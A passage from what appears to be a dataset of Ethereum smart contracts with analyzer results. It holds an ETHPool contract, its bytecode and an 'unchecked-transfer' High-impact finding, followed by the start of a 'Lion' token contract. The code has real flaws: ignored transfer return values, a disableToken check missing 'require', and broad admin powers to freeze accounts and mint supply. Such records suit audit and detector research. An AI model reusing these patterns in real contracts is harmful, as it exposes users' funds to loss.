* @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), 'Ownable: new owner is the zero address'); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); // function name() external view returns (string memory); // function symbol() external view returns (string memory); // function decimals() external view returns (uint8); // function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); // function allowance(address owner, address spender) external view returns (uint); // function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract ETHPool is Ownable{ using SafeMath for uint256; mapping(address=>bool) public supportedTokens; uint256 supportedTokensCount = 0; address[] public tokenAddresses; address public walletAddress; constructor () { walletAddress = msg.sender; } event Deposit(address indexed from, address indexed to, address token_address, uint256 value); event Withdraw(address indexed from, address indexed to, address token_address, uint256 value); function updateWalletAddress(address addr) public onlyOwner { walletAddress = addr; } function checkTokenAddressExists(address token_address) internal view returns (bool) { for (uint i = 0 ; i < tokenAddresses.length ; i ++ ) { if (tokenAddresses[i] == token_address ) { return true; } } return false; } function setToken(address token) public onlyOwner { require(checkTokenAddressExists(token) == false, "Token already set"); supportedTokens[token] = true; tokenAddresses.push(token); supportedTokensCount = supportedTokensCount + 1; } function enableToken(address token) public onlyOwner { require(checkTokenAddressExists(token) == true, "Token not yet exists"); require(supportedTokens[token] == false, "Token is already enabled"); supportedTokens[token] = true; if ( ! checkTokenAddressExists(token) ) { tokenAddresses.push(token); } supportedTokensCount = supportedTokensCount + 1; } function disableToken(address token) public onlyOwner { (checkTokenAddressExists(token) == true, "Token not yet exists"); require(supportedTokens[token] == true, "Token is already disabled"); supportedTokens[token] = false; supportedTokensCount = supportedTokensCount - 1; } // get the tokens that we supports function getSupportedTokenAddresses() public view returns (address[] memory){ address[] memory supportedTokenAddresses = new address[](supportedTokensCount); uint16 count = 0; for ( uint256 i = 0 ; i < tokenAddresses.length ; i ++ ){ if (supportedTokens[tokenAddresses[i]]) { supportedTokenAddresses[count] = tokenAddresses[i]; count = count + 1; } } return supportedTokenAddresses; } function deposit(address token, uint256 amount) public { require(supportedTokens[token], "TOKEN ADDRESS IS NOT SUPPORTED"); uint256 balance = IERC20(token).balanceOf(address(msg.sender)); require(balance >= amount, "Pool: INSUFFICIENT_INPUT_AMOUNT"); IERC20(token).transferFrom(msg.sender, address(this), amount); emit Deposit(msg.sender, address(this), token, amount); } function depositNative() public payable { require(supportedTokens[address(0)], "NATIVE TOKEN IS NOT SUPPORTED"); emit Deposit(msg.sender, address(this), address(0), msg.value); } function withdrawToken(address token) public onlyOwner { uint256 balance = IERC20(token).balanceOf(address(this)); IERC20(token).transfer(walletAddress, balance); emit Withdraw(address(this), walletAddress, token, balance); } function withdrawNativeToken() public onlyOwner { uint256 balance = address(this).balance; payable(walletAddress).transfer(balance); emit Withdraw(address(this), walletAddress, address(0), balance); } function balanceOfToken(address token) public view onlyOwner returns (uint256 amount) { uint256 balance = IERC20(token).balanceOf(address(this)); return balance; } function balanceOfNativeToken() public view onlyOwner returns (uint256 amount) { uint256 balance = address(this).balance; return balance; } }
0x6080604052600436106100fe5760003560e01c80638947606911610095578063c690908a11610064578063c690908a146102fb578063c93c266e14610324578063db6b52461461034d578063e5df8b8414610357578063f2fde38b14610394576100fe565b8063894760691461023f5780638da5cb5b14610268578063b0b57b5f14610293578063b99152d0146102be576100fe565b80635a18664c116100d15780635a18664c146101a957806368c4ac26146101c05780636ad5b3ea146101fd578063715018a614610228576100fe565b8063144fa6d71461010357806316df60a61461012c57806323e27a641461015757806347e7ef2414610180575b600080fd5b34801561010f57600080fd5b5061012a600480360381019061012591906119df565b6103bd565b005b34801561013857600080fd5b50610141610573565b60405161014e9190611d3b565b60405180910390f35b34801561016357600080fd5b5061017e600480360381019061017991906119df565b610721565b005b34801561018c57600080fd5b506101a760048036038101906101a29190611a0c565b6108c8565b005b3480156101b557600080fd5b506101be610b20565b005b3480156101cc57600080fd5b506101e760048036038101906101e291906119df565b610cb0565b6040516101f49190611d5d565b60405180910390f35b34801561020957600080fd5b50610212610cd0565b60405161021f9190611cc0565b60405180910390f35b34801561023457600080fd5b5061023d610cf6565b005b34801561024b57600080fd5b50610266600480360381019061026191906119df565b610e49565b005b34801561027457600080fd5b5061027d6110a8565b60405161028a9190611cc0565b60405180910390f35b34801561029f57600080fd5b506102a86110d1565b6040516102b59190611e98565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906119df565b611174565b6040516102f29190611e98565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d91906119df565b6112a1565b005b34801561033057600080fd5b5061034b600480360381019061034691906119df565b6114f8565b005b6103556115d1565b005b34801561036357600080fd5b5061037e60048036038101906103799190611a79565b6116c7565b60405161038b9190611cc0565b60405180910390f35b3480156103a057600080fd5b506103bb60048036038101906103b691906119df565b611706565b005b6103c56117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161044990611e58565b60405180910390fd5b6000151561045f826117af565b1515146104a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049890611df8565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160025461056a9190611f35565b60028190555050565b6060600060025467ffffffffffffffff811115610593576105926120bc565b5b6040519080825280602002602001820160405280156105c15781602001602082028036833780820191505090505b5090506000805b6003805490508110156107185760016000600383815481106105ed576105ec61208d565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561070557600381815481106106795761067861208d565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838361ffff16815181106106bb576106ba61208d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001826107029190611efd565b91505b808061071090612015565b9150506105c8565b50819250505090565b6107296117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ad90611e58565b60405180910390fd5b600115156107c3826117af565b505060011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90611db8565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016002546108bf9190611f8b565b60028190555050565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094b90611d98565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b815260040161098f9190611cc0565b60206040518083038186803b1580156109a757600080fd5b505afa1580156109bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109df9190611aa6565b905081811015610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90611dd8565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330856040518463ffffffff1660e01b8152600401610a6193929190611cdb565b602060405180830381600087803b158015610a7b57600080fd5b505af1158015610a8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab39190611a4c565b503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a968585604051610b13929190611d12565b60405180910390a3505050565b610b286117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90611e58565b60405180910390fd5b6000479050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610c22573d6000803e3d6000fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f3115d1449a7b732c986cba18244e897a450f61e1bb8d589cd2e69e6c8924f9f7600084604051610ca5929190611d12565b60405180910390a350565b60016020528060005260406000206000915054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610cfe6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8290611e58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e516117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed590611e58565b60405180910390fd5b60008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f199190611cc0565b60206040518083038186803b158015610f3157600080fd5b505afa158015610f45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f699190611aa6565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610fc8929190611d12565b602060405180830381600087803b158015610fe257600080fd5b505af1158015610ff6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101a9190611a4c565b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f3115d1449a7b732c986cba18244e897a450f61e1bb8d589cd2e69e6c8924f9f7848460405161109c929190611d12565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006110db6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115f90611e58565b60405180910390fd5b60004790508091505090565b600061117e6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120290611e58565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112469190611cc0565b60206040518083038186803b15801561125e57600080fd5b505afa158015611272573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112969190611aa6565b905080915050919050565b6112a96117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611336576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161132d90611e58565b60405180910390fd5b60011515611343826117af565b151514611385576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c90611e18565b60405180910390fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90611e78565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611478816117af565b6114e0576003819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60016002546114ef9190611f35565b60028190555050565b6115006117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490611e58565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165490611e38565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a966000346040516116bd929190611d12565b60405180910390a3565b600381815481106116d757600080fd5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61170e6117a7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461179b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179290611e58565b60405180910390fd5b6117a48161185e565b50565b600033905090565b600080600090505b600380549050811015611853578273ffffffffffffffffffffffffffffffffffffffff16600382815481106117ef576117ee61208d565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611840576001915050611859565b808061184b90612015565b9150506117b7565b50600090505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156118ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c590611d78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008135905061199a81612287565b92915050565b6000815190506119af8161229e565b92915050565b6000813590506119c4816122b5565b92915050565b6000815190506119d9816122b5565b92915050565b6000602082840312156119f5576119f46120eb565b5b6000611a038482850161198b565b91505092915050565b60008060408385031215611a2357611a226120eb565b5b6000611a318582860161198b565b9250506020611a42858286016119b5565b9150509250929050565b600060208284031215611a6257611a616120eb565b5b6000611a70848285016119a0565b91505092915050565b600060208284031215611a8f57611a8e6120eb565b5b6000611a9d848285016119b5565b91505092915050565b600060208284031215611abc57611abb6120eb565b5b6000611aca848285016119ca565b91505092915050565b6000611adf8383611aeb565b60208301905092915050565b611af481611fbf565b82525050565b611b0381611fbf565b82525050565b6000611b1482611ec3565b611b1e8185611edb565b9350611b2983611eb3565b8060005b83811015611b5a578151611b418882611ad3565b9750611b4c83611ece565b925050600181019050611b2d565b5085935050505092915050565b611b7081611fd1565b82525050565b6000611b83602683611eec565b9150611b8e826120f0565b604082019050919050565b6000611ba6601e83611eec565b9150611bb18261213f565b602082019050919050565b6000611bc9601983611eec565b9150611bd482612168565b602082019050919050565b6000611bec601f83611eec565b9150611bf782612191565b602082019050919050565b6000611c0f601183611eec565b9150611c1a826121ba565b602082019050919050565b6000611c32601483611eec565b9150611c3d826121e3565b602082019050919050565b6000611c55601d83611eec565b9150611c608261220c565b602082019050919050565b6000611c78602083611eec565b9150611c8382612235565b602082019050919050565b6000611c9b601883611eec565b9150611ca68261225e565b602082019050919050565b611cba8161200b565b82525050565b6000602082019050611cd56000830184611afa565b92915050565b6000606082019050611cf06000830186611afa565b611cfd6020830185611afa565b611d0a6040830184611cb1565b949350505050565b6000604082019050611d276000830185611afa565b611d346020830184611cb1565b9392505050565b60006020820190508181036000830152611d558184611b09565b905092915050565b6000602082019050611d726000830184611b67565b92915050565b60006020820190508181036000830152611d9181611b76565b9050919050565b60006020820190508181036000830152611db181611b99565b9050919050565b60006020820190508181036000830152611dd181611bbc565b9050919050565b60006020820190508181036000830152611df181611bdf565b9050919050565b60006020820190508181036000830152611e1181611c02565b9050919050565b60006020820190508181036000830152611e3181611c25565b9050919050565b60006020820190508181036000830152611e5181611c48565b9050919050565b60006020820190508181036000830152611e7181611c6b565b9050919050565b60006020820190508181036000830152611e9181611c8e565b9050919050565b6000602082019050611ead6000830184611cb1565b92915050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611f0882611fdd565b9150611f1383611fdd565b92508261ffff03821115611f2a57611f2961205e565b5b828201905092915050565b6000611f408261200b565b9150611f4b8361200b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611f8057611f7f61205e565b5b828201905092915050565b6000611f968261200b565b9150611fa18361200b565b925082821015611fb457611fb361205e565b5b828203905092915050565b6000611fca82611feb565b9050919050565b60008115159050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006120208261200b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156120535761205261205e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e2041444452455353204953204e4f5420535550504f525445440000600082015250565b7f546f6b656e20697320616c72656164792064697361626c656400000000000000600082015250565b7f506f6f6c3a20494e53554646494349454e545f494e5055545f414d4f554e5400600082015250565b7f546f6b656e20616c726561647920736574000000000000000000000000000000600082015250565b7f546f6b656e206e6f742079657420657869737473000000000000000000000000600082015250565b7f4e415449564520544f4b454e204953204e4f5420535550504f52544544000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f546f6b656e20697320616c726561647920656e61626c65640000000000000000600082015250565b61229081611fbf565b811461229b57600080fd5b50565b6122a781611fd1565b81146122b257600080fd5b50565b6122be8161200b565b81146122c957600080fd5b5056fea2646970667358221220cafb7a4c3589b987540b410c5f36767b70850077a964dd22396d4d2ee144ae9164736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
467
0xf644d4477cd8db7791cea3013cb053b3fec4beb3
pragma solidity 0.7.1; contract Lion { using SafeMath for uint256; string public constant name = "Cryptoenter LION token"; string public constant symbol = "LION"; uint8 public constant decimals = 8; uint256 public constant decimals_multiplier = 100_000_000; address adminAddress = address(0x0); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; mapping(address => bool) tempNotLockedAccounts; uint256 totalSupply_; uint temporarilyLockDate = 0; bool suspended = false; mapping(address => bool) suspendedAccounts; struct Issue { uint availableFromTimestamp; uint256 amount; bool complete; } struct IssueStage { uint currentN; uint count30; uint count; } mapping(uint => Issue[3]) issuePeriods; IssueStage issueStage = IssueStage(0, 0, 0); modifier enabled() { require(((block.timestamp > temporarilyLockDate || tempNotLockedAccounts[msg.sender] == true) && !suspended && suspendedAccounts[msg.sender] != true) || msg.sender == adminAddress); _; } /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } constructor(uint256 totalSupply, uint lockDate) public { totalSupply_ = totalSupply.mul(decimals_multiplier); temporarilyLockDate = lockDate; balances[msg.sender] = totalSupply_; adminAddress = msg.sender; // 167099833 // issuePeriods[0][0] = Issue(1599868800, 128538333, false); // issuePeriods[0][1] = Issue(1599868800, 25707667, false); // issuePeriods[0][2] = Issue(1599868800, 12853833, false); issuePeriods[0][0] = Issue(1638316800, 403815084, false); issuePeriods[0][1] = Issue(1633046400, 80763017, false); issuePeriods[0][2] = Issue(1633046400, 40381508, false); issuePeriods[1][0] = Issue(1701648000, 1268622500, false); issuePeriods[1][1] = Issue(1696377600, 253724500, false); issuePeriods[1][2] = Issue(1696377600, 126862250, false); issuePeriods[2][0] = Issue(1764547200, 3985495127, false); issuePeriods[2][1] = Issue(1759276800, 797099025, false); issuePeriods[2][2] = Issue(1759276800, 398549513, false); issuePeriods[3][0] = Issue(1827619200, 12520802212, false); issuePeriods[3][1] = Issue(1822348800, 2504160442, false); issuePeriods[3][2] = Issue(1822348800, 1252080221, false); issuePeriods[4][0] = Issue(1890950400, 39335260244, false); issuePeriods[4][1] = Issue(1885680000, 7867052049, false); issuePeriods[4][2] = Issue(1885680000, 3933526024, false); issuePeriods[5][0] = Issue(1985472000, 123575364606, false); issuePeriods[5][1] = Issue(1980201600, 24715072921, false); issuePeriods[5][2] = Issue(1980201600, 12357536461, false); issuePeriods[6][0] = Issue(2080252800, 388223457599, false); issuePeriods[6][1] = Issue(2074982400, 77644691520, false); issuePeriods[6][2] = Issue(2074982400, 38822345760, false); issuePeriods[7][0] = Issue(2206483200, 1219639962308, false); issuePeriods[7][1] = Issue(2201212800, 243927992462, false); issuePeriods[7][2] = Issue(2201212800, 121963996231, false); issuePeriods[8][0] = Issue(2364163200, 2005198000000, false); issuePeriods[8][1] = Issue(2358892800, 401039600000, false); issuePeriods[8][2] = Issue(2358892800, 200519800000, false); } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint) { return balances[tokenOwner]; } function transfer(address receiver, uint numTokens) enabled onlyPayloadSize(2 * 32) public returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint numTokens) enabled public returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint numTokens) enabled onlyPayloadSize(2 * 32) public returns (bool) { require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true; } //Admin functions modifier fromAdmin() { require(msg.sender == adminAddress); _; } function addTotalSupply(uint256 amount) fromAdmin private returns (uint256) { totalSupply_ = totalSupply_.add(amount); balances[msg.sender] = balances[msg.sender].add(amount); return totalSupply_; } function tempNotLockedAccount(address account) fromAdmin public returns (bool) { tempNotLockedAccounts[account] = !tempNotLockedAccounts[account]; return tempNotLockedAccounts[account]; } function setTemporarilyLockDate(uint date) fromAdmin public returns (uint) { temporarilyLockDate = date; return temporarilyLockDate; } function suspend() fromAdmin public returns (bool) { suspended = !suspended; return suspended; } function suspendAccount(address account) fromAdmin public returns (bool) { suspendedAccounts[account] = !suspendedAccounts[account]; return suspendedAccounts[account]; } function issuePlanned() fromAdmin public returns (uint256) { if (issueStage.count == 3) { issueStage.currentN += 1; issueStage.count30 = 0; issueStage.count = 0; } require(issueStage.currentN < 9, "All issues completed"); uint256 amount = 0; uint countBefore = issueStage.count; Issue[3] storage issues = issuePeriods[issueStage.currentN]; for (uint i = 0; i < issues.length; i++) { if (!issues[i].complete) { if (block.timestamp >= issues[i].availableFromTimestamp) { issueStage.count += 1; issues[i].complete = true; amount += issues[i].amount; } } } require(countBefore < issueStage.count, "Too early to issue"); addTotalSupply(amount.mul(decimals_multiplier)); return totalSupply_; } function issue30Percent() fromAdmin public returns (uint256) { require(issueStage.count30 < 5, "The fifth 30 percent issue completed"); uint256 amount = totalSupply_.div(100).mul(30); addTotalSupply(amount); issueStage.count30 += 1; return totalSupply_; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas 